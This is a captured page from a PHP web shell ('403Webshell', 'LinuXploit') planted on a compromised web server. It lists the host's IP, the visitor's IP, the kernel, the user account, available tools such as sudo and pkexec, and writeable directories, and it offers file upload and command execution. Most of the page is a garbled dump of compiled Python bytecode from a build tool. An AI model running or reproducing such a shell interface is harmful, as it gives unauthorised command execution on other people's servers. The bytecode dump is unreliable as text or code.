403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/dist-packages/gyp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/gyp/xcode_ninja.pyc
�
�n�Zc@sjdZddlZddlZddlZddlZddlZd�Zd�Z	d�Z
d�ZdS(s�Xcode-ninja wrapper project file generator.

This updates the data structures passed to the Xcode gyp generator to build
with ninja instead. The Xcode project itself is transformed into a list of
executable targets, each with a build step to build with ninja, and a target
with every source and resource file.  This appears to sidestep some of the
major performance headaches experienced using complex projects and large number
of targets within Xcode.
i����NcCs�tjj|�\}}|d}|d}|jrPtjj|j|�}nytj|�Wn+tk
r�}|jtjkr��q�nXdd}xa||gD]S}	tjjtjj	|	��dd}
t
jjj
d|
�}
|d|
7}q�W|d	7}tjj|d
�}y8t|d��#}|j�}
|
|krMdSWdQXWntk
rgnXt|d
��}|j|�WdQXdS(s8 Create a workspace to wrap main and sources gyp paths. s.xcworkspacetoptionss'<?xml version="1.0" encoding="UTF-8"?>
s<Workspace version = "1.0">
is
.xcodeprojsgroup:s$  <FileRef location = %s></FileRef>
s
</Workspace>
scontents.xcworkspacedatatrNtw(tostpathtsplitexttgenerator_outputtjointmakedirstOSErrorterrnotEEXISTtbasenametxmltsaxtsaxutilst	quoteattrtopentreadtIOErrortwrite(tmain_gyptsources_gyptparamstbuild_file_roottbuild_file_exttworkspace_pathRtet
output_stringtgyp_nametnametworkspace_filet
input_filetinput_stringtoutput_file((s3/usr/lib/python2.7/dist-packages/gyp/xcode_ninja.pyt_WriteWorkspaces6

	
&

c
Cs�d&}d}|rd|d}tjj|jtjjj|��}|j	di�j	dd�}n|j	d�}|j	d|�}|j	d�}i}||d<||d<|r�||d<n|j	d�|d<|j	d	�|d	<i|d
<i}	|rd||	d<nd
|kr�x�|d
j
�D]�}
|d
|
j	d
i�}d|krrd|	d<|d|	d<nx1ddgD]#}||kr|||	|<qqWi|d
|
<|	|d
|
d
<q+Wn|j	dd�|d<|j	dd�|d<|j	dd�|d<|j	dd�|d<|j	dd�|d<|d|d<|r�id|d6gd6gd6ddtjdd d!|	d|gd"6d|d#6g|d$<|dkr�|d$dd"jd%|f�q�n|S('s- Create fake target for xcode-ninja wrapper. iRtgenerator_flagstxcode_ninja_jobsttarget_nametproduct_nametproduct_extensionttoolsettdefault_configurationtconfigurationss-%s/$(CONFIGURATION)$(EFFECTIVE_PLATFORM_NAME)tCONFIGURATION_BUILD_DIRtxcode_settingstIPHONEOS_DEPLOYMENT_TARGETtNOtCODE_SIGNING_REQUIREDt
BUNDLE_LOADERt	TEST_HOSTt
mac_bundletmac_xctest_bundletios_app_extensiontios_watchkit_extensiontios_watchkit_appttypesCompile and copy %s via ninjataction_nametinputstoutputstenvsPATH=%stPATHtninjas-Ctactiontmessagetactionss-jN(
tNoneRRRttoplevel_dirtgypt	generatorR>tComputeOutputDirtgettiterkeystenvirontextend(
told_specRtninja_topleveltjobsRR&R'R(tninja_targettnew_xcode_settingstconfigtold_xcode_settingstkey((s3/usr/lib/python2.7/dist-packages/gyp/xcode_ninja.pyt_TargetFromSpec8sj
!





%cCs�|jd�}|d	k	r1tj||�r1tSt|jdd��dks|jdd�dkr�|jdd�dkr�|d	k	r�tj||�s�tSntStS(
spLimit targets for Xcode wrapper.

  Xcode sometimes performs poorly with too many targets, so only include
  proper executable targets, with filters to customize.
  Arguments:
    target_extras: Regular expression to always add, matching any target.
    executable_target_pattern: Regular expression limiting executable targets.
    spec: Specifications for target.
  R&R4iR8tt
executableR(tbundleN(RGRBtretsearchtTruetinttFalse(t
target_extrastexecutable_target_patterntspecR&((s3/usr/lib/python2.7/dist-packages/gyp/xcode_ninja.pytIsValidTargetForWrapper�s
c$Cs�|dd}x3|j�D]%\}}||kr|d}qqW|jdi�}|jdd$�}	|	d$kr�tjj|�\}
}|
d|}	ng}i}
i}i||	<g||	d<g||	d<||jd	i�||	d	<|jd
d$�}|jdd$�}x�|D]�}||}t|||�r|jd�}d
|	|f}|j|�t||�|
|<xp||j	d�ddD]P}|d|kr�i}|d|d<|d|d<||	dj|�q�q�WqqWd}ti|d6dd6dd6dd6dd6d$�}ii|gd6d6|d<|jdt
�}g}xM|j�D]?\}}tjj|�}|jdg�|jdg�}|s�|j|jdg�|jdg��nxU|jdg�D]A}|j|jd g��|s�|j|jd!g��q�q�Wg|D]} | j
d"�s@| ^q@}tjj|	�}!|g|D]*} tjjtjj|| �|!�^q}7}qoWtt|��|d<tjjtjj|	�|d#�}"d
|"|f}#|j|#�||
|#<i}|d|d<||d<d|d<i||"<g||"d<g||"d<||jd	i�||"d	<||"dj|�t|	|"|�||
|fS(%s�Initialize targets for the ninja wrapper.

  This sets up the necessary variables in the targets to generate Xcode projects
  that use ninja as an external builder.
  Arguments:
    target_list: List of target pairs: 'base/base.gyp:base'.
    target_dicts: Dict of target properties keyed on target pair.
    data: Dict of flattened build files keyed on gyp path.
    params: Dict of global options for gyp.
  tbuild_filesit_DEPTHR$txcode_ninja_main_gyps.ninjatincluded_filesttargetsR-t%xcode_ninja_executable_target_patterntxcode_ninja_target_patternR&s%s:%s#targett:R)tsources_for_indexingttargettDefaultR*t0R3RUR8tinclude_dirsR+txcode_ninja_list_excluded_filestsourcestmac_bundle_resourcestsources_excludedtmac_bundle_resources_excludedRAR:tinputs_excludedt$s.gypN(t	iteritemsRGRBRRRR_tappendRStsplitRYtdirnameRJt
startswithtrelpathRtsortedtsetR#($ttarget_listttarget_dictstdataRtorig_gypRtgyp_dicttdepthR$RRRtnew_target_listtnew_target_dictstnew_dataR]R\told_qualified_targetR^R&tnew_target_namet
old_targettnew_data_targettsources_target_nametsources_targettskip_excluded_filesRnRittarget_dicttbasetfilesR?tfilet
relative_pathRtfully_qualified_target_name((s3/usr/lib/python2.7/dist-packages/gyp/xcode_ninja.pyt
CreateWrapper�s�



"#
	 (9%




(t__doc__R
tgyp.generator.ninjaRDRRWtxml.sax.saxutilsR
R#RSR_R�(((s3/usr/lib/python2.7/dist-packages/gyp/xcode_ninja.pyt<module>
s	"	K	

Youez - 2016 - github.com/yon3zu
LinuXploit